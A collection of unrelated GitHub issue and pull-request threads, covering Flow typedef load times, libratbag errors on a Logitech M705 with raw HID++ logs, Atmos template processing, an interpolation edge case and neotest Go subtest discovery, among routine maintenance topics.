[testcafe] typedef adds 80-120s to Flow server startup

See this issue on flow.
If typedefs are causing very long load times it can negatively affect use of Flow in workstation and CI situations.
Not sure what constructs in this typedef are causing the slow load times, but it's tiny next to my gargantuan 77klines-and-3.3MB-of-code generated AWS-SDK typedef, which adds something like 2s to load time, so it's not size.
Corollaries to this issue (that I don't expect immediate answers to but are worth thinking about)

Does flow-typed have any kind of test metric that rates load time in it's CI chain?
If it can be determined what causes it, would a linter that detects these constructs be practical?

Seems like something strictly related to Flow and not flow-typed. @GAntoine, thoughts? I'd rather close this and let Flow sort it out, since it's kinda out of our hands.

@AndrewSouthpaw agreed.

If it can be determined what causes it, would a linter that detects these constructs be practical?

This is an interesting point. I'd rather raise an issue in Flow than preventing to use some patterns though.

Making some progress on this here.
TLDR : seems like the problem is multi-extension of interfaces with certain types as members. builtin and Core types seem to be OK, the DOM types are something that seem to reliably trigger it.
Workaround may be to declare interfaces that are simply unions of multiple interfaces as ... unions of those interfaces, rather than extensions.
Currently testing that theory by patching the testcafe typedef.


Update peer dependency to support i18next to prevent warnings

As seen in the image i would like to update the peer dependencies to prevent errors when using npm without --legacy-peer-deps or to prevent warnings in general when using i18next@22

Hey! Thank you! I opened and merged a duplicate PR for this since we didn't have code guidelines etc in place yet. Sorry about that :) 1.5.1 should be available.


Active Idle Service Not Fetching after 30mins + 45 mins

Hi @narguelles ,
please head over to https://github.com/Webklex/php-imap/issues/new?template=bug_report.md
Best regards,


Manage circuit, shot, and state threads based on system or max memory

Summary
This change adds a feature to manage numbers of circuit-, shot-, and state-threads based on system or max memory.
Details and comments
A new parameter max_memory_mb is added. This parameter control maximum size of memory for state vectors in qasm simulator. The default value is -1, which means 50% of system memory.
A number of shot-threads is prioritized first. If sampling optimization doesn't work, one shot-thread is created, otherwise, shot-threads are created as many as possible.
A number of state-threads is prioritized second. If qubit size is lower than 10, one state-thread is created, otherwise, state-threads is created as many as possible.
A number and memory of concurrent working threads does not exceed max_threads and max_memory_mb, respectively. Numbers of circuit-threads, state-threads (for a circuit) and shot-threads (for a circuit) do not exceed max_threads_circuit, max_threads_shot, and max_threads_state, respectively.

This was a PR from our Enterprise repository, but it got migrated as an Issue so I'm closing it.


sam-astro.Z-Sharp version 2.1.3-alpha

Checklist for Pull Requests

[x] Have you signed the Contributor License Agreement?
[x] Is there a linked Issue? https://github.com/microsoft/winget-pkgs/issues/156094

Manifests

[x] Have you checked that there aren't other open pull requests for the same manifest update/change?
[x] This PR only modifies one (1) manifest
[x] Have you validated your manifest locally with winget validate --manifest <path>?

[x] Does your manifest conform to the 1.6 schema?

Note: <path> is the directory's name containing the manifest you're submitting.

Verify:


Scorching Ray to cost 2

Felt this needed to be made a bit more explicit. Doc is a bit unclear with incremental changes and this could get forgotten

resolved in #197


moved targets file from build\native to build folder to support non n…

Moved the targets file from build\native to build\ so C++ projects that do not target native can use this package as well.

Hello @sanderaernouts
Why did you do that please ?
Nuget packages are supposed to contain a /build/{framework} structure.
After this move, Paket does not work well with boost.
Please see https://github.com/fsprojects/Paket/issues/3203
Could you please consider moving it back ?
Thanks


Android 10 运行错误

error: "./BaiduPCS-Go": executable's TLS segment is underaligned: alignment is 8, needs to be at least 64 for ARM64 Bionic

这是Go语言的问题，似乎在go1.13解决了: golang/go#29674
只能试一试用go1.13重新编译，不过没设备，测试不了呢


base/v0_6_exp: add parent directory sugar

Add a field called 'Parent' which is used to specify a file's parent directory. When a parent is specified, all directories from the parent to the file will be created, with the 'mode' supplied in the parent directory.

still adding unit tests and cleaning up code.

Ooof, ok
Looking at other tests they correctly have a storage translation set
you can see this here with this TestTranslateMountUnit but for some reason, this one test is .. not? it has all of the translations minus "$.storage" I will need to look into this.

@yasminvalim ci has been fixed, now we can start addressing issues brought up by @jlebon.


Create storage bucket when first logged in, add URL to user object

Instead of only creating storage bucket and deploying storage manager when attaching storage to deployment, create it when first logging in.
Add URL for storage to user object perhaps? And later when frontend is updated, remove the field from deployment object?
Also is it possible to transfer via scp or other protocols for bigger files that may not fit in web ui transfer limits

storage manager is created automatically when interacting with deployments #240


Add protection against spam handshake floods

The other thing that I think we're going to run into is that someone can probably force us to flush our sessions by initiating lots and lots of handshakes in quick succession. It won't crash the app but it will require us to re-establish sessions which costs something. We can probably mitigate this (in some other PR) by simply limiting the number of incomplete handshakes for a given Endpoint so that executing such an attack requires many IP addresses which makes the attack more expensive.

From #209

Probably good to maybe have two session stores, one for in-progress handshakes and one for completed ones.  That ensures that we don't evict valid sessions just to make room for a maybe new session.  This modification would likely take place in the ddht.v5_1.pool.Pool


Default text not needed for Quick Submit

Via @jesicarson, she doesn't feel like we need all that text in the body of a new Case/Method/Organization. I know we put it there to suggest some structure for things that we don't capture as metadata elsewhere. I'm not sure what the right way is, but ultimately this is a design / requirements issue, so if she wants it gone we can remove it.

@dethe - We do indeed need the headings for the full submit body narratives. But in quick submit ideally we only want a short description (esp on mobile when all these suggested headings get really long and messy to scroll down without clicking in the text box).
My suggested solution would be to bring back the "summary" field for quick submit, and only include the long narrative in the full submit (which would be a separate field, with all the headings). Make sense? But instead of "summary", I'd call it something like "Short..." or "Tweet-length description of this case/ method/ organization" with a text box that has a limited word count.

@jesicarson OK, but either way it becomes the body of the Case/etc., right? Or do we need to add a new field for summary?

We can drop the default text in Quick Submit mode and add it if they click full submit (if they haven't added other text yet).
We can have a short field but I don't know why we'd actually limit the word count if they want to add more detail.

@dethe It just hit me that the quick sub form was never updated to match Pat's criteria (issue #399 )   There's also a mockup to that effect. So per that, we aren't supposed to have a description in quick submit at all. Now, this could be up for debate, but that was the decision by Pat for this round of testing, so I say lets go with that.

Ah, so if we fix those issues we can close this. I will need to make a minor change on the backend, right now it requires both a title and description (or body) at a minimum.

@jesicarson We might want to promote that mockup to its own issue, I would not have thought of looking for it under "Clean up typography in quick submit flows".

Lol, true. It did make sense at the time, as thats where that visual cleanup work was taking place and it needed a mockup - although when Sam couldn't do it I guess it got dropped. Anyway, sure I can make a new issue for it :)
And yes, fixing those issues would void this one.

Will be covered by #522, so closing this issue. Thanks, @jesicarson!


⚠ Bofrost.at has degraded performance

In cd33a7d, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1037 ms

Resolved: Bofrost.at performance has improved in 321664f after 19 minutes.


Would never update RHEL based images

Required a -y flag to yum update.  Also, added yum makecache prior
to upgrade.

👍


Update summit page with social info

/hold
for review
Adds location details for both the main event and evening social.

/lgtm
/approve

/hold cancel
good enough for me 👍


Fix triggerMap iteration

This fixes #269

Thanks for the contribution @eligrey. However, this is not needed anymore as I am using babel in the pipeline to fix these issues now.

@ghosh Babel doesn't fix this. Babel transpiles code using new JavaScript syntax. It doesn't fix or change the behavior of legacy syntax usage.
This for loop is completely unaffected by your usage of Babel.


Possibility to automate installing provisioning profiles?

Is there a way in fastlane to install a local provisioning profile into the Xcode version currently indicated by DEVELOPER_DIR?
One of the CI tasks we still have to do manually is install any updated provisioning profiles on each build agent.
We currently don't use sigh as we deal with external clients that don't give us any permission to access their developer accounts, so a more direct way of achieving this would be brilliant.

No troubleshooting needed, just a question 👍

Looks like I can use the provisioning_profile_location option in gym 🚀


Add optimizer

Add optimizer API.
Add SGD and Adam optimizers.
Add learning rate scheduler API.

Currently the state variables of optimizer, such as momentum and number of updates, need to be explicitly initialized when building the library. it might be able to improve this process.

@tqchen  @ZihengJiang  Since we are moving operators to c++, I think optimizer should also be implemented in c++ so that it can be directly registered by other languages. What's your opinion?

@kevinthesun no hurry for this

OK. I'll try to merge https://github.com/dmlc/nnvm/pull/349 into this PR so that we can have end to end example of how to do training in nnvm.

@kevinthesun any movement on this? This is something I'd be interested in having soon, so please let me know how I can help!

https://github.com/dmlc/nnvm/pull/389 partially resolves the assign problem, please rebase after that is merged

Add initializing variables during building graph. Some tensor operators are the same as https://github.com/dmlc/nnvm/pull/401.
Add test cases for SGD and Adam. These test cases can pass locally on mac OS and ubuntu. However, they somehow failed in CI .

Let us move the newly added operators' support level to 4 because they are not necessary needed to support common convnets. This can be merged after the change

Moved all newly added operators to level4.

You forgot to add https://github.com/dmlc/nnvm/pull/349 before merging this.

@nhynes All those operators except matmul were added. Matmul will be fixed by https://github.com/dmlc/nnvm/pull/396

ha, you just beat me to submitting a pr. I'll close that now. thanks!


Logitech M705 gives invalid dpi list error

Using ratbagd-0.9.905 and a Logitech M705 I get the following log line:
Apr 29 00:47:12 ikelos ratbagd[10462]: ratbag error: libratbag bug: Logitech M705: invalid dpi list

Solaar reports the device with the following information:
Index        : 1
Wireless PID : 101B
Protocol     : HID++ 1.0
Polling rate : 8 ms (125Hz)
Serial       : XXX
  Firmware   : 17.01.B0017
  Bootloader : 02.06
  Other      : 00.04
Notifications: battery status

ratbagctl lists no devices found.
Is this something I can resolve by changing the .device file, or will I need to build a debug version and bring back protocol responses?  Happy to provide any further information if it'll help me map my side key to my middle key under wayland...  5:)

Can confirm this, on Arch Linux running latest Git version of libratbag (6f27053ab0791e7e5db0a16eb8ce37b77ecee629)

Same issue with G602:
May 06 19:18:53 Valoria systemd[1]: Starting Daemon to introspect and modify configurable mice... May 06 19:18:53 Valoria systemd[1]: Started Daemon to introspect and modify configurable mice. May 06 19:18:53 Valoria ratbagd[30514]: ratbag error:     HID++ error from the device (1): ERR_INVALID_ARGUMENT (02) May 06 19:18:53 Valoria ratbagd[30514]: ratbag error: Error while requesting resolution: Protocol error (-71) May 06 19:18:53 Valoria ratbagd[30514]: ratbag error:     HID++ error from the device (1): ERR_INVALID_ARGUMENT (02) May 06 19:18:53 Valoria ratbagd[30514]: ratbag error: libratbag bug: Logitech USB Receiver: invalid dpi list May 06 19:18:54 Valoria ratbagd[30514]: ratbag error:     HID++ error from the device (1): ERR_INVALID_ARGUMENT (02) May 06 19:18:54 Valoria ratbagd[30514]: ratbag error: Error while requesting resolution: Protocol error (-71) May 06 19:18:54 Valoria ratbagd[30514]: ratbag error:     HID++ error from the device (1): ERR_INVALID_ARGUMENT (02) May 06 19:18:54 Valoria ratbagd[30514]: ratbag error: libratbag bug: Logitech USB Receiver: invalid dpi list

I haven't seen any further information regarding how to debug this further?  The best I could find (since ratbagctl -vvv didn't seem to do a lot) was to run ratbagd --verbose=raw which gave the following output:
ratbag debug: New device: Logitech M705
ratbag debug: Using data directory '/usr/share/libratbag'
ratbag debug: device assigned driver hidpp10
ratbag debug: hidraw info: bus 0x03 vendor 0x46d product 0x101b
ratbag debug: Logitech M705 is device '/dev/hidraw5'.
ratbag debug: HID report ID 02
ratbag debug: HID report ID 10
ratbag debug: HID report ID 11
ratbag debug: HID report ID 20
ratbag debug: HID report ID 21
ratbag raw: Fetching individual features
ratbag raw:   expected_header:		?? 00 81 01
ratbag raw:   expected_error_dev:	10 00 8f 81 01 00 00
ratbag raw: hidpp write: 10 00 81 01 00 00 00
ratbag raw: hidpp read:  10 01 81 01 40 00 00
ratbag raw:   received: 10 00 81 01 40 00 00
ratbag raw: Fetching HID++ notifications
ratbag raw:   expected_header:		?? 00 81 00
ratbag raw:   expected_error_dev:	10 00 8f 81 00 00 00
ratbag raw: hidpp write: 10 00 81 00 00 00 00
ratbag raw: hidpp read:  02 00 00 06 f0 ff 00 00
ratbag raw: hidpp read:  10 01 81 00 10 00 00
ratbag raw:   received: 10 00 81 00 10 00 00
ratbag raw: Fetching current resolution
ratbag raw:   expected_header:		?? 00 83 63
ratbag raw:   expected_error_dev:	10 00 8f 83 63 00 00
ratbag raw: hidpp write: 10 00 83 63 00 00 00
ratbag raw: hidpp read:  02 00 00 03 00 00 00 00
ratbag raw: hidpp read:  10 01 8f 83 63 01 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_SUBID (01)
ratbag raw: Fetching LED status
ratbag raw:   expected_header:		?? 00 81 51
ratbag raw:   expected_error_dev:	10 00 8f 81 51 00 00
ratbag raw: hidpp write: 10 00 81 51 00 00 00
ratbag raw: hidpp read:  02 00 00 05 00 00 00 00
ratbag raw: hidpp read:  10 01 8f 81 51 02 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_ADDRESS (02)
ratbag raw: Fetching USB refresh rate
ratbag raw:   expected_header:		?? 00 81 64
ratbag raw:   expected_error_dev:	10 00 8f 81 64 00 00
ratbag raw: hidpp write: 10 00 81 64 00 00 00
ratbag raw: hidpp read:  02 00 00 0a c0 ff 00 00
ratbag raw: hidpp read:  10 01 8f 81 64 02 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_ADDRESS (02)
ratbag raw: Fetching optical sensor settings
ratbag raw:   expected_header:		?? 00 81 61
ratbag raw:   expected_error_dev:	10 00 8f 81 61 00 00
ratbag raw: hidpp write: 10 00 81 61 00 00 00
ratbag raw: hidpp read:  02 00 00 09 c0 ff 00 00
ratbag raw: hidpp read:  10 01 8f 81 61 02 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_ADDRESS (02)
ratbag raw: Fetching current profile
ratbag raw:   expected_header:		?? 00 81 0f
ratbag raw:   expected_error_dev:	10 00 8f 81 0f 00 00
ratbag raw: hidpp write: 10 00 81 0f 00 00 00
ratbag raw: hidpp read:  02 00 00 0e c0 ff 00 00
ratbag raw: hidpp read:  10 01 8f 81 0f 02 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_ADDRESS (02)
ratbag debug: no profile type given
ratbag raw: Fetching profile 0
ratbag error: libratbag bug: Logitech M705: invalid dpi list
ratbag debug: New device: Logitech USB Receiver
ratbag debug: Using data directory '/usr/share/libratbag'
ratbag debug: No data file found for 046d:c52b

Any thoughts on what's going on or how to fix it, please?  It's very frustrating not to be able to remap my additional buttons without having to tinker with udev's hwdb.  I'd really like to see ratbag working as expected with a device that is supposedly supported?

As far as I can tell from the hidpp10 document, the device id has to be from 0x01 to 0x06 (or be 0xFF).  Libratbag seems to always send 0x00 (and even though I tried to change the message templates to return idx + 1, or getting liblur to loop from 0x01 to 0x06).  I haven't been able to get it to send 10 01 81 0f 00 00 00, but I suspect that would return more accurate information and allow it to continue successfully.  It's as though it thinks the device is wired?

The device ID 0x00 corresponds to wired mice. Can you send me Wireshark dumps of you connecting the device and trying to use libratbag?
Run lsusb to get the Bus and Device IDs, load the usbmom kernel module (sudo modprobe usbmon) to be able to sniff USB with Wireshark and then run Wireshark on the usmon(Bus ID) interface and apply following filter usb.device_address == (Device ID). After that just save the file (File > Export Specified Packets).

Hmmm, the packet capture doesn't match the raw verbose logs?  It seems it is using the right device identifier when it sends the packets?
capture: libratbag-packetcapture.zip
verbose=raw:
ratbag debug: hidraw info: bus 0x03 vendor 0x46d product 0x101b
ratbag debug: Logitech M705 is device '/dev/hidraw5'.
ratbag debug: HID report ID 02
ratbag debug: HID report ID 10
ratbag debug: HID report ID 11
ratbag debug: HID report ID 20
ratbag debug: HID report ID 21
ratbag raw: Fetching individual features
ratbag raw:   expected_header:		?? 00 81 01
ratbag raw:   expected_error_dev:	10 00 8f 81 01 00 00
ratbag raw: hidpp write: 10 00 81 01 00 00 00
ratbag raw: hidpp read:  10 01 81 01 40 00 00
ratbag raw:   received: 10 00 81 01 40 00 00
ratbag raw: Fetching HID++ notifications
ratbag raw:   expected_header:		?? 00 81 00
ratbag raw:   expected_error_dev:	10 00 8f 81 00 00 00
ratbag raw: hidpp write: 10 00 81 00 00 00 00
ratbag raw: hidpp read:  10 01 81 00 10 00 00
ratbag raw:   received: 10 00 81 00 10 00 00
ratbag raw: Fetching current resolution
ratbag raw:   expected_header:		?? 00 83 63
ratbag raw:   expected_error_dev:	10 00 8f 83 63 00 00
ratbag raw: hidpp write: 10 00 83 63 00 00 00
ratbag raw: hidpp read:  10 01 8f 83 63 01 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_SUBID (01)
ratbag raw: Fetching LED status
ratbag raw:   expected_header:		?? 00 81 51
ratbag raw:   expected_error_dev:	10 00 8f 81 51 00 00
ratbag raw: hidpp write: 10 00 81 51 00 00 00
ratbag raw: hidpp read:  10 01 8f 81 51 02 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_ADDRESS (02)
ratbag raw: Fetching USB refresh rate
ratbag raw:   expected_header:		?? 00 81 64
ratbag raw:   expected_error_dev:	10 00 8f 81 64 00 00
ratbag raw: hidpp write: 10 00 81 64 00 00 00
ratbag raw: hidpp read:  10 01 8f 81 64 02 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_ADDRESS (02)
ratbag raw: Fetching optical sensor settings
ratbag raw:   expected_header:		?? 00 81 61
ratbag raw:   expected_error_dev:	10 00 8f 81 61 00 00
ratbag raw: hidpp write: 10 00 81 61 00 00 00
ratbag raw: hidpp read:  10 01 8f 81 61 02 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_ADDRESS (02)
ratbag raw: Fetching current profile
ratbag raw:   expected_header:		?? 00 81 0f
ratbag raw:   expected_error_dev:	10 00 8f 81 0f 00 00
ratbag raw: hidpp write: 10 00 81 0f 00 00 00
ratbag raw: hidpp read:  10 01 8f 81 0f 02 00
ratbag raw:     HID++ error from the device (0): ERR_INVALID_ADDRESS (02)
ratbag debug: no profile type given
ratbag raw: Fetching profile 0
ratbag error: libratbag bug: Logitech M705: invalid dpi list

Yes, this is definitely weird but it isn't the actual issue. @whot @bentiss could you please look at this? Although there's a .device file, libratbag isn't prepared to deal with the M705. I don't have the documentation to fix this right now so unless someone comes forward you will have to wait 1.5~3 months.

Based on #726 being merged, I'm assuming that this is fixed now? Esp. given that the above uses hidpp10 but the file merged uses hidpp20.

@whot they are different mice.

This mouse does not export DPI value, it uses a "pointer speed" setting.

Can we internally wrap this to dpis? doesn't need to be for every setting, doesn't need to be 100% accurate, if it's close enough it should do.

I already looked into this, we will need to have native DPI value for each mouse. The HID++ feature in question just implements a multiplier.

Do they have different sensors? Or do they all just have the 1000dpi default sensor anyway which would make life a bit easier.

They can have different sensors.

I am gonna close this now. I think this feature is slightly out of scope.

This is an old, closed bug, but may I have a question? I thought, based on the existence of the logitech-M705.device file, that my mouse is supported, then I hit the same issue that is reported here.
Are there different DeviceMatch=usb:046d:101b Logitech M705 mice, some of which work with libratbag and some don't (I wouldn't be surprised), or should the device file maybe be removed?

This is an old, closed bug, but may I have a question? I thought, based on the existence of the logitech-M705.device file, that my mouse is supported, then I hit the same issue that is reported here.
Are there different DeviceMatch=usb:046d:101b Logitech M705 mice, some of which work with libratbag and some don't (I wouldn't be surprised), or should the device file maybe be removed?

You might be able to configure any of the features. The device does speak the protocol we implemented in the driver, it just might not actually have any usable features.
I think we could reconsider this issue and add support for changing the sensibility, though I am not sure how useful that'd be since it gets reset on device poweroff.

You might be able to configure any of the features. The device does speak the protocol we implemented in the driver, it just might not actually have any usable features.
I think we could reconsider this issue and add support for changing the sensibility, though I am not sure how useful that'd be since it gets reset on device poweroff.


Adds support for building project in docker-compose

Happy to!

@etagwerker I've updated the README take a peek and let me know if you'd like further adjustments.


Remove space after emoji

Looks odd before a comma as in our case, otherwise the emoji will end where the repo name/link did which is probably preferred.

Sounds good, I'll fix the test cases to accomodate


Release 1.48.0 breaks existing stacks that use strings with Go template formatting

Describe the Bug
We have stacks that use strings with Go template formatting that are to be passed verbatim to downstream consumers. Atmos fails when processing those stacks because it is trying to evaluate the template context that should not be treated as a template.
Atmos fails with the error:

template: [path]: executing "[path]" at <.keyName>: map has no entry for key "keyName"

Expected Behavior
Atmos should not fail.
Steps to Reproduce
Add go template strings to a stack file.
Screenshots
No response
Environment
No response
Additional Context
Seems the latest release changed the behavior that allowed for this pattern to work without issues here:
https://github.com/cloudposse/atmos/compare/v1.47.0...v1.48.0#diff-1b8991c18c7d7059b6415e247c1c89b92525261e7fd579623cbb40a65f6a615dL173

That didn't work for us. Added the object as the documentation suggests and the error keeps popping up.
We are using https://github.com/cloudposse/github-action-atmos-affected-trigger-spacelift, I am wondering if the logic that action uses to check the affected stacks is not using the import object logic.

I just tested interactively in my terminal with atmos describe affected and it fails exactly the same while previous versions work fine (This is on macOS/amd64). Is there a way to get some debug outputs of what atmos is doing?

The file that has the templates is imported a few levels deep from the stack. I added skip_templates_processing: true to all the files that import the leaf node that atmos is complaining about, and the issue persists.

We are pinning the version already.
But I would like to adopt the functionality to skip template processing as seems valuable going on long term.
My goal is to help debug the issue.

I tested and it works. Using the skip_templates_processing in our case seems very valuable, if there is anything I can do to help debug the issue let me know.


Enable posting results to Slack

Implemented in https://github.com/ryanrosello-og/zebrunner-playwright-agent/pull/13


Liftover functionality for summary statistics

Functions are included under mungesumstats.jl. Consists of two user facing functions: readchain to read a chain file for liftover, and liftover_sumstats! to liftover a munged summary statistics DataFrame. To do includes handling the edge case where the target strand in the chain file has a negative strand and adding examples into the documentation.

Codecov Report
Patch coverage: 80.00% and project coverage change: +0.82 :tada:

Comparison is base (419d74f) 60.38% compared to head (a0ccbc5) 61.21%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
Additional details and impacted files
@@            Coverage Diff             @@
##           master      #32      +/-   ##
==========================================
+ Coverage   60.38%   61.21%   +0.82%
==========================================
  Files          12       12
  Lines         982     1057      +75
==========================================
+ Hits          593      647      +54
- Misses        389      410      +21

Impacted Files
Coverage Δ

src/GeneticsMakie.jl
100.00% <ø> (ø)

src/mungesumstats.jl
48.37% <80.00%> (+9.75%)
:arrow_up:

... and 4 files with indirect coverage changes

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

Adding documentation and bug fixes; will resubmit when complete


added Websocket Samplers plugin

As discussed with Andrey:
"..... So I encourage you to include your plugin into jmeter-plugins.org registry. To do so, you need to provide pull request ...."
so here is my pull request.
Thanks for sharing this plugin with your community.

Hi,
All looks good, but I'd modify plugin name into something more distinguishable from existing "WebSocket Protocol Support". Otherwise it will be a bit confusing.
Maybe you can make your to be "WebSocket Samplers by Peter Doornbosch" and also modify existing to be named "WebSocket Sampler by Maciej Zaleski". That way, it will reflect existence of 2 separate plugins for users.

That's fine with me. Done.

Great! Let's go!


Minor updates to README, index.html, style and script files

All relating to visuals and naming conventions

Added screenshot.png
Renamed widget to callWidget for clarity.
Replaced CSS rules with new class names.

This mostly looks great, but suggested one small tweak. I also think it might be nicer to actually show an in-game screenshot, i.e. the view where we have the Kahoot host or player view open (to be more representative of what we are demoing).
(Happy to also do this myself in a followup PR though, so approving preemptively)

Updated


chore: Stop using the secret code (MFA setup code) as an access token, #390

Pull Request Test Coverage Report for Build<PHONE_NUMBER>2
Details

1 of 2 (50.0%)  changed or added relevant lines in 2 files are covered.
4 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-0.05%) to 86.204%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

app/routers/users.py
0
1
0.0%

Files with Coverage Reduction
New Missed Lines
%

app/utils/statistics.py
1
92.73%

app/aws.py
1
80.0%

app/routers/users.py
2
74.74%

Totals

Change from base Build<PHONE_NUMBER>1:
-0.05%

Covered Lines:
1787

Relevant Lines:
2073

💛  - Coveralls


Error with Linear Interpolation

Hello,
I have noticed a bug in Interpolate.Linear
Here a unit test to reproduce
[Fact(DisplayName = "Interpolation NAN error")]
	public void Test42()
	{
		var interpolation = Interpolate.Linear(new[] { 40.0, 40.0 }, new[] { 0.57, 0.57 });
		interpolation.Interpolate(40).Should().Be(0.57);
	}

Expected interpolation.Interpolate(40) to be 0.57, but found NaN.
The function works fine in a pyhton script, but not in a C# app :(

This is quite an edge case. What do you expect for example to happen here, where you have multiple ordinate values for the same abscissa?
var interpolation = Interpolate.Linear(new[] { 40.0, 40.0 }, new[] { 0.57, 0.67 });
interpolation.Interpolate(40); // what to return here??

The expected return value is 0.57
Here a "correct" implementation :
public static double LinearInterpolation(double x, double x0, double x1, double y0, double y1)
{
	if ((x1 - x0) == 0)
		return (y0 + y1) / 2;
	return y0 + (x - x0) * (y1 - y0) / (x1 - x0);
}

I am not sure if this is the correct mathematical behavior to be honest.
Since the function is not one-to-one how can one choose whether to return y0, y1, or any value in between?
I would be curious to hear what people with a math background have to say (@cdrnet? @phihub?)

Is this still an active issue? If not, can we please close it?


Prepare 1.2

[x] modernize setup: https://gerrit.sqlalchemy.org/c/sqlalchemy/mako/+/3078
[x] drop py2: https://gerrit.sqlalchemy.org/c/sqlalchemy/mako/+/3078
[x] github workflow: https://gerrit.sqlalchemy.org/c/sqlalchemy/mako/+/3078
[x] improve code: see https://github.com/sqlalchemy/mako/pull/335
[x] update black : redo https://github.com/sqlalchemy/mako/pull/312
[x] remove pkg_resource usage #347
[x] #351
[x] #352

For the "update black" item, I suggest re-doing PR #312, which standardizes the black integration into the same config as other sqlalchemy projects:

migrate black config to pyproject.toml
update black version

If you have time, I would also copy/paste this:

update README to showcase code-of-conduct and development links

Adding this:

[ ] #351

Implemented in c8140243


Performance Monitor: Thunder Performance flag enabled added + doc updates

Since this functionality is only work once the PERFORMACE flag is enabled for core. So I thought is to enable this plugin only if the PERFORMANCE_TEST is enabled for core (from the OE or BR build make files). Thats why added this flag directly


how to setup key for Lora repo,following the docs results in keyserver timeout

Is this a bug or a feature request?
What did you expect?
What happened?
What version are your using?
How can your issue be reproduced?
Could you share your log output?

I'm closing this issue (again):

None of the asked questions were answered (e.g. commands to reproduce)
This is not a bug but a support question, please see https://forum.loraserver.io


feat: detect subtests

This PR adds a query that will allow subtests declared using t.Run to be detected and run (?separately).
TODO

[ ] The correct test command is not run for these tests currently

@rcarriga I'm trying to get subtests like the example in this PR working

func TestDoesAThingAnotherWay(t *testing.T) {
	t.Run("test one", func(t *testing.T) {
		assert.Equal(t, 3, doesAThing(1, 2))
	})

	t.Run("test two", func(t *testing.T) {
		assert.Equal(t, 5, doesAThing(1, 2))
	})

	variable := "string"
	t.Run(variable, func(t *testing.T) {
		assert.Equal(t, 3, doesAThing(1, 2))
	})
}

But whilst my query detects these correctly and they show signs and I can run the nearest the output from the test runner shows that it's not running the same command as I'm expecting. I verified that the command generated works in the terminal but with my cursor on one of those tests and running the run.run funciton despite the command created being the right one the output seems to show like some other command was run since it doesn't match the terminal output

Thanks, @rcarriga tried that and seems to work as expected, but definitely strange that the string works differently. Are you using vim.fn.jobstart I know that that has some different behaviour based on string versus string array?
Anyway, another question 😅 I'm trying to control how test IDs are created for nested tests. For example, it is using the name of the test which is great it identified it at all but I would like to nest them under the containing test
.e.g
func TestDoesAThingAnotherWay(t *testing.T) {
	t.Run("test one", func(t *testing.T) {
		assert.Equal(t, 3, doesAThing(1, 2))
	})
}

The nested test has an ID of <path>:"test one" but I'd rather it was labelled as <path>:TestDoesAThingAnotherWay/"test one" where would I intervene to control how this works?
Do I need to specify the wrapping function as a namespace?

Alright looking through the code it seems that I'd have to identify the parent function as a namespace which is probably correct anyway/what I'd want to do

Yep it is using jobstart :+1:
To change the ID you just need to change it before returning from discover_positions. Not sure how easy it will be to find the nested tests, let me know if the exposing lower level functions in the treesitter lib would make it easier.
You can have nested tests, it was actually the summary consumer just arbitrarily didn't show them. I've removed the restriction so it should show correctly. There might be other places where nested tests are presumed to not happen but I'd consider them a bug as it's possible in multiple languages so neotest should allow it.

Hmm, so I went down the path of trying to register the containing function as a namespace for its descendants using

    ((function_declaration
      name: (identifier) @namespace.name
      body: (block
        (call_expression
          function: (selector_expression
            field: (field_identifier) @_method)
      (#match? @_method "^Run"))))
      (#match? @namespace.name "^Test"))
      @namespace.definition

So this correctly identifies the right function (needs work to be more general) but now I'm getting test IDs that look like
value.id: "<path-to-file>::TestDoesAThingAnotherWay::TestDoesAThingAnotherWay::TestDoesAThingAnotherWay::variable"

I'm a little stumped about how to approach this since it almost fits together, maybe the parent test function shouldn't be a namespace, tbh I don't know what a namespace should represent I thought maybe a package/module.
I then went down the path of trying to manipulate the tree gotten from lib.treesitter.parse_positions but running tree:iter or tree:iter_nodes seems to mutate the tree and so no tests are found subsequently.

To be clear just calling iter or iter_nodes is enough to clear out the tree

So a namespace is pretty arbitrary, it really comes down to what makes sense for the language. In my mind if there are assertions being made inside a function then it is a test, if it only contains tests then it is a namespace.
Leaving it as a test would solve your issue of the test function being registered as a test and a namespace and avoid the nested ID.
The tree is not really designed to be changed. There is a function to merge them but it is pretty rough, I definitely wouldn't encourage adapters to do so. This is why I was thinking of exposing lower level functionality inside the treesitter lib so that you can get it in the form of nested lists which is parsed by the Tree class. Then it would be easier to alter.

I've added a position_id function with signature fun(position: neotest.Position, namespaces: neotest.Position[]): string which should work for your needs I believe

Thanks 👍🏿 I think it'll be useful to have that function but since it didn't return the parent it didn't quite match my use case, I'd ideally like to prefix each test name with all the parents as the ID, similar to the namespaces.
It did make me realize I could just test for a subtest by getting the parent node whilst iterating the tree and then prefix it to the subtest and see if there's a match (because go test automatically names tests using this Parent/child) although this will break if tests are nested more deeply.
One lingering issue I have is that some tests might have the description be a variable, e.g.
	variable := "string"
	t.Run(variable, func(t *testing.T) {
		assert.Equal(t, 3, doesAThing(1, 2))
	})

for the above when run go test will return ParentTestFunc/string whereas the ID used in neotest will point to the name of variable e.g. variable not it's content. I'm not sure how feasible it is to do this though

Sorry the parameter name is a little misleading, the second argument is an ordered list of all parent positions which will includes namespaces and tests.

One lingering issue I have is that some tests might have the description be a variable

This is a tricky one. For plenary I was able to work around this by using the debug module to find where a test was declared and matching that to the known test positions but of course here you're not hooked into go test. I'm not sure there is a solution without hooking into the language to be honest.

It doesn't look like VSCode can handle variable names in the test discovery and actively ignores them https://github.com/golang/vscode-go/issues/1602#issuecomment-881139861 with no plans to change that.

So regarding the namespaces argument, I've tried using it, but it's always empty? It doesn't contain the parent positions as far as I can tell, which is why I added the workaround, not sure if that might be a bug or if they are missing, but I've not been able to find any values in that table.
